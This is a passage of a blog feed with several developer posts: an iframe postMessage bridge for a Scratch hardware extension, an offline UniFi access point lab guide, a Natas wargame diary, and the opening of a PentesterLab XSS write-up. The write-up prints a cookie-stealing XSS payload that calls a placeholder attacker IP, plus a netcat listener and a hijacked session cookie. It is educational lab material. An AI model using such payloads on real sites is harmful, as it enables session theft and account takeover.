&lt;p&gt;Extension iframe&lt;/p&gt;

&lt;p&gt;window.dispatchEvent()&lt;br&gt;
        |&lt;br&gt;
        X&lt;br&gt;
        |&lt;br&gt;
scratch-gui window&lt;br&gt;
The two windows are separated.&lt;/p&gt;

&lt;p&gt;Wrong Approach 2&lt;br&gt;
Trying:&lt;/p&gt;

&lt;p&gt;window.parent.dispatchEvent()&lt;br&gt;
or:&lt;/p&gt;

&lt;p&gt;window.top.dispatchEvent()&lt;br&gt;
caused:&lt;/p&gt;

&lt;p&gt;Blocked a frame with origin "null"&lt;br&gt;
from accessing a cross-origin frame&lt;br&gt;
Cause&lt;br&gt;
Browser security prevents direct access between different origins.&lt;/p&gt;

&lt;p&gt;Even localhost pages can become:&lt;/p&gt;

&lt;p&gt;origin: null&lt;br&gt;
when loaded through iframe sandboxing.&lt;/p&gt;

&lt;p&gt;Final Solution: Use postMessage()&lt;br&gt;
postMessage() is designed for iframe communication.&lt;/p&gt;

&lt;p&gt;Architecture:&lt;/p&gt;

&lt;p&gt;Scratch Extension iframe&lt;br&gt;
          |&lt;br&gt;
          |&lt;br&gt;
          | window.parent.postMessage()&lt;br&gt;
          |&lt;br&gt;
          ↓&lt;br&gt;
scratch-gui&lt;br&gt;
containers/gui.jsx&lt;br&gt;
          |&lt;br&gt;
          |&lt;br&gt;
          | Web Bluetooth API&lt;br&gt;
          |&lt;br&gt;
          ↓&lt;br&gt;
ESP32 BLE&lt;br&gt;
Extension → scratch-gui&lt;br&gt;
Example:&lt;/p&gt;

&lt;p&gt;window.parent.postMessage(&lt;br&gt;
{&lt;br&gt;
    type:"KANKAUNG_SEND",&lt;br&gt;
    command:"LED_ON"&lt;br&gt;
},&lt;br&gt;
"*");&lt;br&gt;
scratch-gui receives message&lt;br&gt;
In:&lt;/p&gt;

&lt;p&gt;src/containers/gui.jsx&lt;br&gt;
listen:&lt;/p&gt;

&lt;p&gt;window.addEventListener(&lt;br&gt;
"message",&lt;br&gt;
(event)=&amp;gt;{&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if(event.data.type==="KANKAUNG_SEND")
{
    kankaungBluetooth.send(
        event.data.command
    );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;});&lt;br&gt;
scratch-gui → Extension&lt;br&gt;
Do NOT use:&lt;/p&gt;

&lt;p&gt;dispatchEvent()&lt;br&gt;
Use:&lt;/p&gt;

&lt;p&gt;window.postMessage(&lt;br&gt;
{&lt;br&gt;
    type:"KANKAUNG_STATUS",&lt;br&gt;
    status:true&lt;br&gt;
},&lt;br&gt;
"*");&lt;br&gt;
Extension listens:&lt;/p&gt;

&lt;p&gt;window.addEventListener(&lt;br&gt;
"message",&lt;br&gt;
(event)=&amp;gt;{&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if(event.data.type==="KANKAUNG_STATUS")
{
    this.connected =
    event.data.status;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;});&lt;br&gt;
Final Communication Flow&lt;br&gt;
User clicks Scratch block&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;kankaung-extension-bt.js&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;postMessage()&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;src/containers/gui.jsx&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;kankaung-bluetooth.js&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;navigator.bluetooth&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;ESP32 BLE&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;response&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;postMessage()&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Scratch Extension&lt;br&gt;
Key Lessons To Remember&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Scratch extension ≠ scratch-gui
Extension:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;iframe&lt;br&gt;
GUI:&lt;/p&gt;

&lt;p&gt;main application&lt;br&gt;
They are separated.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Never use:&lt;br&gt;
Scratch.vm&lt;br&gt;
Scratch.runtime&lt;br&gt;
window.dispatchEvent()&lt;br&gt;
window.parent.dispatchEvent()&lt;br&gt;
for communication between extension and scratch-gui.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use:&lt;br&gt;
window.parent.postMessage()&lt;br&gt;
Extension → GUI&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;and:&lt;/p&gt;

&lt;p&gt;window.postMessage()&lt;br&gt;
GUI → Extension&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;For custom hardware extensions in scratch-gui:
Recommended architecture:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Extension&lt;br&gt;
   |&lt;br&gt;
   | postMessage&lt;br&gt;
   |&lt;br&gt;
scratch-gui container&lt;br&gt;
   |&lt;br&gt;
   | Hardware manager&lt;br&gt;
   |&lt;br&gt;
ESP32 / Arduino / Raspberry Pi&lt;br&gt;
This approach is similar to how professional Scratch forks and hardware extensions communicate. You solved the hardest part: getting a custom Scratch extension to talk to your own hardware layer without Scratch Link.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>programming</category>
      <category>security</category>
      <category>software</category>
    </item>
    <item>
      <title>How to Setup a UniFi Access Point &amp; MikroTik Switch Local Test Lab (No Internet Required)</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Wed, 27 May 2026 03:50:48 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-to-setup-a-unifi-access-point-mikrotik-switch-local-test-lab-no-internet-required-4f69</link>
      <guid>https://dev.to/ekko1500/how-to-setup-a-unifi-access-point-mikrotik-switch-local-test-lab-no-internet-required-4f69</guid>
      <description>&lt;p&gt;Setting up an enterprise-grade home network or testing configuration changes usually requires an internet connection. But what if you want to build an isolated sandbox or test local area network (LAN) performance completely offline?&lt;/p&gt;

&lt;p&gt;If you have a &lt;strong&gt;Ubiquiti UniFi Access Point&lt;/strong&gt;, a &lt;strong&gt;MikroTik Cloud Router Switch (CRS)&lt;/strong&gt;, and a computer, you have everything you need to build a high-performance local test lab.&lt;/p&gt;

&lt;p&gt;In this guide, we will walk you through the physical wiring, solving the "no-internet" IP routing issue, and adopting your AP without an ISP connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Equipment Checklist
&lt;/h2&gt;

&lt;p&gt;Before we dive in, make sure you have the following gear on your workbench:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ubiquiti UniFi Access Point&lt;/strong&gt; (Any modern U6, AC, or HD model)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UniFi PoE Injector&lt;/strong&gt; (The power brick included with your AP, or an equivalent 24V/48V PoE injector)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MikroTik Cloud Switch&lt;/strong&gt; (e.g., CRS series)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A Computer/Laptop&lt;/strong&gt; with an Ethernet port (or an Ethernet-to-USB adapter)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three Ethernet Cables&lt;/strong&gt; (Cat5e or Cat6)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 1: The Physical Topology (The Wiring Loop)
&lt;/h2&gt;

&lt;p&gt;Because we don't have an Internet Service Provider (ISP) modem assigning power and routing data, our network setup needs to follow a precise physical loop.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Critical Troubleshooting Note:&lt;/strong&gt; If your Access Point's LED light does not turn on immediately after plugging it in, your power loop is incorrect. UniFi APs &lt;em&gt;require&lt;/em&gt; Power over Ethernet (PoE). Most MikroTik switches do not output PoE power by default, so you &lt;strong&gt;must&lt;/strong&gt; use the UniFi power brick injector.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Follow these steps exactly to build your local loop:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Connect your PC to the Switch:&lt;/strong&gt; Cable #1.&lt;br&gt;
Plug one Ethernet cable from your computer’s network port into &lt;strong&gt;Port 1&lt;/strong&gt; of your MikroTik switch.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bridge the Switch to the Injector:&lt;/strong&gt; Cable #2.&lt;br&gt;
Plug a second Ethernet cable from &lt;strong&gt;Port 2&lt;/strong&gt; of your MikroTik switch into the &lt;strong&gt;LAN&lt;/strong&gt; port of the UniFi PoE Injector power brick.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deliver Power to the Access Point:&lt;/strong&gt; Cable #3.&lt;br&gt;
Plug a third Ethernet cable from the &lt;strong&gt;PoE&lt;/strong&gt; port of the injector into the &lt;strong&gt;Main&lt;/strong&gt; Ethernet port on the back of your UniFi Access Point.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fire Up the Lab:&lt;/strong&gt; Power.&lt;br&gt;
Plug the PoE Injector's power cord into the wall outlet. Within 5 seconds, the UniFi AP’s circular LED ring will light up &lt;strong&gt;solid white&lt;/strong&gt;, indicating it is powered up and ready for adoption.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Phase 2: Resolving the IP Address Problem
&lt;/h2&gt;

&lt;p&gt;Normally, an ISP router runs a service called &lt;strong&gt;DHCP&lt;/strong&gt;, which automatically dishes out IP addresses to your computer and AP so they can talk. Since we are completely offline, we have to trick the hardware into finding each other using a manual network space.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Assign a Static IP to your Computer
&lt;/h3&gt;

&lt;p&gt;You need to force your computer to live in the same network neighborhood that the UniFi AP defaults to when it can't find the internet.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows:&lt;/strong&gt; Go to &lt;em&gt;Settings &amp;gt; Network &amp;amp; Internet &amp;gt; Ethernet &amp;gt; Edit IP Settings&lt;/em&gt;. Change to &lt;strong&gt;Manual&lt;/strong&gt;, toggle IPv4 on, and enter:&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Address:&lt;/strong&gt; &lt;code&gt;192.168.1.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subnet Mask:&lt;/strong&gt; &lt;code&gt;255.255.255.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Gateway:&lt;/strong&gt; Leave Blank&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;macOS:&lt;/strong&gt; Go to &lt;em&gt;System Settings &amp;gt; Network &amp;gt; Ethernet &amp;gt; Details &amp;gt; TCP/IP&lt;/em&gt;. Change &lt;em&gt;Configure IPv4&lt;/em&gt; to &lt;strong&gt;Manually&lt;/strong&gt; and enter:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;IP Address:&lt;/strong&gt; &lt;code&gt;192.168.1.10&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subnet Mask:&lt;/strong&gt; &lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Router/Gateway:&lt;/strong&gt; Leave Blank&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 2: The UniFi AP Fallback IP
&lt;/h3&gt;

&lt;p&gt;When a UniFi Access Point Boots up and fails to locate a DHCP server after a couple of minutes, it automatically claims a smart fallback IP: &lt;strong&gt;&lt;code&gt;192.168.1.20&lt;/code&gt;&lt;/strong&gt;. Because your computer is now manually set to &lt;code&gt;192.168.1.10&lt;/code&gt;, your computer can now ping and see the AP across the MikroTik switch.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Local Software Configuration
&lt;/h2&gt;

&lt;p&gt;Because we don't have internet access, we cannot use the UniFi smartphone application (which relies on cloud synchronization). Instead, we will host a local server controller directly on your testing machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Fire Up the UniFi Network Server
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Download the free &lt;strong&gt;UniFi Network Server application&lt;/strong&gt; (formerly known as the UniFi Controller) from the Ubiquiti Downloads page onto your PC prior to starting your offline lab, or transfer it via a USB drive.&lt;/li&gt;
&lt;li&gt;Launch the application on your computer.&lt;/li&gt;
&lt;li&gt;Once initialized, click &lt;strong&gt;Launch a Browser to Manage the Network&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Your browser will open a local web page. Proceed through the setup wizard. When prompted to sign in with a UI.com account, select &lt;strong&gt;Switch to Advanced Setup&lt;/strong&gt; and choose &lt;strong&gt;Local Access Only&lt;/strong&gt; to create an offline username and password.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 2: Adopt the AP
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Once inside the main UniFi dashboard dashboard, click on the &lt;strong&gt;UniFi Devices&lt;/strong&gt; icon (the circular target logo on the left toolbar).&lt;/li&gt;
&lt;li&gt;You will see your Access Point listed with its fallback IP address (&lt;code&gt;192.168.1.20&lt;/code&gt;) and a status of &lt;strong&gt;Pending Adoption&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click on the device name, and hit &lt;strong&gt;Adopt&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The AP light will blink for a moment, provision itself, and change to a &lt;strong&gt;Solid Blue&lt;/strong&gt; light. Your AP is now fully adopted into your offline server.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Broadcast a Local Wi-Fi Network
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Settings&lt;/strong&gt; (the gear icon at the bottom left of your UniFi browser interface).&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;WiFi&lt;/strong&gt; and select &lt;strong&gt;Create New WiFi&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Name your local test Wi-Fi network (SSID) and create a password.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Apply Changes&lt;/strong&gt;. The server will push this configuration through your MikroTik switch straight to your AP.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  How to Test Your New Offline LAN Lab
&lt;/h2&gt;

&lt;p&gt;Grab a smartphone, a tablet, or a secondary laptop and connect to the new Wi-Fi network you just broadcasted.&lt;/p&gt;

&lt;p&gt;Because you aren't connected to an ISP box, your phone will likely say &lt;em&gt;"Connected, No Internet Access"&lt;/em&gt;. This is exactly what we want.&lt;/p&gt;

&lt;p&gt;To verify your local network throughput and communication:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open a terminal or command prompt app on your phone or secondary device.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;ping 192.168.1.10&lt;/code&gt; (the IP address of your main computer).&lt;/li&gt;
&lt;li&gt;If you see successful reply streams, your data is leaving your wireless device, passing through the UniFi AP, travelling through the MikroTik switch, and safely landing on your PC.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Congratulations—you have a fully operational, completely isolated wireless test lab!&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>infrastructure</category>
      <category>networking</category>
      <category>testing</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How OverTheWire's Natas Humbled Me in 4 Levels or Less</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Sun, 24 May 2026 16:56:17 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-overthewires-natas-humbled-me-in-4-levels-or-less-3lf2</link>
      <guid>https://dev.to/ekko1500/how-overthewires-natas-humbled-me-in-4-levels-or-less-3lf2</guid>
      <description>&lt;p&gt;&lt;strong&gt;By:&lt;/strong&gt; Me, a person who definitely cried a little&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Date:&lt;/strong&gt; Today, sadly&lt;/p&gt;


&lt;h3&gt;
  
  
  Day 1: Confidence is a Trap
&lt;/h3&gt;

&lt;p&gt;I started Natas thinking, "It's just web security. I've used a browser before. How hard can it be?"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Famous last words.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Level 0 and 1 were fine. Base64 decoding? Please. I'm basically a hacker already.&lt;/p&gt;

&lt;p&gt;Then Level 2 happened.&lt;/p&gt;


&lt;h3&gt;
  
  
  The PNG That Broke Me
&lt;/h3&gt;

&lt;p&gt;I saw a &lt;code&gt;pixel.png&lt;/code&gt; in the source code and thought, "Aha! Steganography!"&lt;/p&gt;

&lt;p&gt;What followed was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trying to &lt;code&gt;wget&lt;/code&gt; the file and getting a &lt;strong&gt;401 Unauthorized&lt;/strong&gt; (because I forgot the credentials... twice)&lt;/li&gt;
&lt;li&gt;Finally getting credentials from Level 1, then facing a &lt;strong&gt;DNS resolution failure&lt;/strong&gt; (thanks, my ISP)&lt;/li&gt;
&lt;li&gt;Discovering my WSL had no &lt;code&gt;sudo&lt;/code&gt; (turns out I wasn't even in WSL—I was in Git Bash like a lost child)&lt;/li&gt;
&lt;li&gt;Installing &lt;code&gt;exiftool&lt;/code&gt; after 45 minutes of dependency hell&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;exiftool pixel.png&lt;/code&gt; and getting... &lt;strong&gt;absolutely nothing&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Trying &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;binwalk&lt;/code&gt;, and even a hex editor—still nothing&lt;/li&gt;
&lt;li&gt;Finally admitting defeat and asking for help&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The answer?&lt;br&gt;&lt;br&gt;
&lt;strong&gt;The PNG was a tracking pixel. 1x1. Transparent. Empty.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The real password was sitting in &lt;code&gt;users.txt&lt;/code&gt; in the &lt;strong&gt;same directory&lt;/strong&gt;, visible to anyone who bothered to look at the file listing.&lt;/p&gt;

&lt;p&gt;I spent 6 hours analyzing nothing.&lt;/p&gt;


&lt;h3&gt;
  
  
  Level 3: Google's Gift to Idiots (Me)
&lt;/h3&gt;

&lt;p&gt;Level 3's source code had a comment:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Not even Google will find it this time..."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I stared at it for 10 minutes. Then I remembered: &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One quick visit to &lt;code&gt;/robots.txt&lt;/code&gt; and I saw:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;Disallow&lt;/span&gt;: /&lt;span class="n"&gt;s3cr3t&lt;/span&gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I literally facepalmed. So loud my neighbor asked if I was okay.&lt;/p&gt;

&lt;p&gt;Found the hidden directory. Found &lt;code&gt;users.txt&lt;/code&gt;. Found the password for Level 4.&lt;/p&gt;

&lt;p&gt;That took 90 seconds.&lt;/p&gt;




&lt;h3&gt;
  
  
  Lessons Learned (The Hard Way)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Why It Hurt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Read the directory listing first&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Because the answer is rarely in a blank PNG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Don't ignore source code comments&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;They're not flavor text—they're hints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google doesn't index everything&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;But &lt;code&gt;robots.txt&lt;/code&gt; tells you exactly what Google was told to ignore&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WSL is not magic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;You actually have to open it. Git Bash is not Linux.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ask for help before hour 5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;My ego cost me 6 hours of my life&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;I'm only on Level 3 and I've already:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Misdiagnosed a tracking pixel as a steganography challenge
&lt;/li&gt;
&lt;li&gt;Fought with DNS, WSL, and my own pride
&lt;/li&gt;
&lt;li&gt;Learned that &lt;code&gt;robots.txt&lt;/code&gt; exists (should've known that already)
&lt;/li&gt;
&lt;li&gt;Realized I'm not as smart as I thought I was&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;But I'm still going.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Natas 4 tomorrow. Maybe I'll actually read the source code this time.&lt;/p&gt;




&lt;h3&gt;
  
  
  PSA to Future Me (and You)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;If you're stuck on a Natas level and you find yourself installing forensic tools...&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stop.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Check the directory listing first. Read the source code again. Look for &lt;code&gt;robots.txt&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
The answer is rarely encrypted. It's usually just hidden in plain sight, laughing at you.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;End of day. Time to touch grass.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>beginners</category>
      <category>devjournal</category>
      <category>learning</category>
      <category>security</category>
    </item>
    <item>
      <title>From XSS to Shell: How I Broke Into a Server and Lived to Tell the Tale</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Sat, 23 May 2026 16:32:17 +0000</pubDate>
      <link>https://dev.to/ekko1500/from-xss-to-shell-how-i-broke-into-a-server-and-lived-to-tell-the-tale-3ooe</link>
      <guid>https://dev.to/ekko1500/from-xss-to-shell-how-i-broke-into-a-server-and-lived-to-tell-the-tale-3ooe</guid>
      <description>&lt;p&gt;&lt;strong&gt;By:&lt;/strong&gt; Someone who almost gave up three times&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Lab:&lt;/strong&gt; PentesterLab — XSS and MySQL FILE&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Owned ✅&lt;/p&gt;


&lt;h2&gt;
  
  
  🎭 Prologue: The ISO That Mocked Me
&lt;/h2&gt;

&lt;p&gt;I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."&lt;/p&gt;

&lt;p&gt;I was wrong.&lt;/p&gt;

&lt;p&gt;But I learned more in 3 hours of failing than in 3 months of reading theory.&lt;/p&gt;

&lt;p&gt;This is the story of how I went from copy-pasting XSS payloads to executing &lt;code&gt;whoami&lt;/code&gt; on a remote server — and how you can too.&lt;/p&gt;


&lt;h2&gt;
  
  
  📍 Phase 1: The Cookie Heist (XSS)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Setup
&lt;/h3&gt;

&lt;p&gt;The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? &lt;strong&gt;Already logged in as admin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My job: Trick that bot into sending me its cookie.&lt;/p&gt;
&lt;h3&gt;
  
  
  What I Tried First (and failed)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Breakthrough
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://MY_IP:80/?'+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;But nothing happened. Why? &lt;strong&gt;No listener.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;On my Kali VM (&lt;code&gt;192.168.56.102&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then injected payload pointing to Kali's IP.&lt;/p&gt;

&lt;p&gt;Waited 60 seconds.&lt;/p&gt;

&lt;p&gt;Then saw this in my terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Boom. Admin cookie stolen.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The bot visits automatically every minute — be patient.&lt;/li&gt;
&lt;li&gt;Always start your listener BEFORE injecting.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ERR_CONNECTION_REFUSED&lt;/code&gt; means your XSS worked but nothing was listening.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 2: Walking In The Back Door
&lt;/h2&gt;

&lt;p&gt;I took that cookie (&lt;code&gt;PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0&lt;/code&gt;) and added it to my browser's storage.&lt;/p&gt;

&lt;p&gt;Refreshed the page. Clicked "admin."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I was in.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No login prompt. No password. Just pure session hijacking.&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Session cookies are gold. Treat them like root passwords.&lt;/li&gt;
&lt;li&gt;If you steal an admin's cookie, you ARE the admin.&lt;/li&gt;
